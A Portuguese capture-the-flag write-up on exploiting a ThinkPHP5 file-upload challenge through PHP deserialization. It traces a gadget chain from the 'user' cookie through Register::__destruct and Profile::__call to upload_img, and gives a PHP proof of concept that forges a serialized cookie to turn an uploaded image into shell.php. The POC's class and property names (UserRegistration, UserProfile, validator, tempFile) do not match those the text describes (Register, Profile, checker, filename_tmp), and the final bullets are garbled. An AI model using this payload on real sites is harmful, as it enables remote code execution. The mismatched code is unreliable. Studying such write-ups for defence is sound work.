Este desafio, embora focado em upload de arquivos, requer auditoria de código PHP e exploração de deserialização. A chave está na análise dos pontos de interrupção fornecidos como dicas, que permitem rastrear o fluxo de dados no programa.
Processo de Análise
Ao registrar-se e fazer login, é possível identificar uma funcionalidade de upload de arquivos. Testes iniciais mostram que arquivos JPG são renomeados para .png, e a tentativa de upload de .htaccess falha, impedindo a execução de código PHP diretamente. Análises adicionais, como varredura com dirsearch, revelam um arquivo de backup www.tar.gz. A extração e inspeção local indicam o uso do framework ThinkPHP5, com diretórios .idea sugerindo pistas.
No código-fonte, dois pontos de interrupção são críticos: o método __destruct no controlador Register.php e a função login_check em Index.php. Esses pontos processam informações do usuário, sendo essencial rastrear a origem e o destino dos dados.
Informações dos Pontos de Interrupção
O método __destruct verifica se o usuário está registrado; se não, invoca $checker->index(). A variável $profile em login_check é decodiifcada de base64 e deserializada, originando-se do cookie user.
$profile = unserialize(base64_decode($profile));
// Exemplo de dados deserializados: a:5:{s:2:"ID";i:1;...}
Origem dos Dados
O cookie user é serializado e retornado após login ou atualização de perfil, conforme observado nos controladores login.php e profile.php.
Destino dos Dados
A função login_check é chamada em todos os controladores do diretório application/web/controller/, tornando-se o ponto central da exploração.
Auditoria Crítica e Cadeia de Exploração
A análise identifica métodos mágicos PHP como __construct, __get e __call no controlador profile.php. A partir do __destruct de Register, é possível encadear chamadas para executar funções arbitrárias.
A lógica da cadeia é a seguinte: o objeto Register (com $registered = false) tem seu atributo $checker definido como uma instância de Profile. Ao chamar $checker->index(), o método __call de Profile é acionado, pois index não é um método existente. Isso, por sua vez, invoca __get para acessar a propriedade $except, permitindo a chamada de qualquer método, como upload_img.
// Cadeia de chamadas:
cookie -> base64_decode -> unserialize
-> Register::__destruct() // $checker = Profile
-> Profile::__call() // $name = index
-> Profile::__get() // except['index'] = upload_img
-> Profile::upload_img()
O método upload_img lida com o upload de arquivos, verificando extensões e renomeando-os. Ao manipular os atributos $filename_tmp e $filename, é possível alterar a extensão do arquivo de .png para .php, permitindo a execução de código.
Teste Local e POC
Para explorar, é necessário construir um payload de serialização que configure corretamente os objetos. Ajustes nos atributos como $ext são necessários para contornar verificações.
<?php
namespace app\web\controller;
class UserRegistration {
public $validator;
public $registered;
public function __destruct() {
if (!$this->registered) {
$this->validator->index();
}
}
}
class UserProfile {
public $checker;
public $tempFile;
public $finalFile;
public $uploadDir;
public $extension;
public $imageData;
public $except;
public function __get($name) {
return $this->except[$name];
}
public function __call($name, $arguments) {
if ($this->{$name}) {
$this->{$this->{$name}}($arguments);
}
}
}
$profileObj = new UserProfile();
$profileObj->except = ['index' => 'upload_img'];
$profileObj->extension = "png";
$profileObj->tempFile = "./upload/f528764d624db129b32c21fbca0cb8d6/e04b7fb2d790bed075a90916ecd43ff1.png";
$profileObj->finalFile = "./upload/f528764d624db129b32c21fbca0cb8d6/shell.php";
$registerObj = new UserRegistration();
$registerObj->registered = FALSE;
$registerObj->validator = $profileObj;
echo urlencode(base64_encode(serialize($registerObj)));
?>
Este payload, quando serializado e colocado no cookie user, aciona a cadeia de métodos, renomeando o arquivo de imagem para um script PHP executável.
Considerações Adicionais
- A variável
$extpode ser definida como qualquer valor verdadeiro, pois a verificação de extensão é ignorada quando$_FILESestá vazio durante a deserialização. - O atributo
$checkeremProfilepode ser definido comonullou0para pular verificações condicionais. - A configuração de
$exceptcom a chave explícita'index'é essencial para garantir o mapeamento correto do método.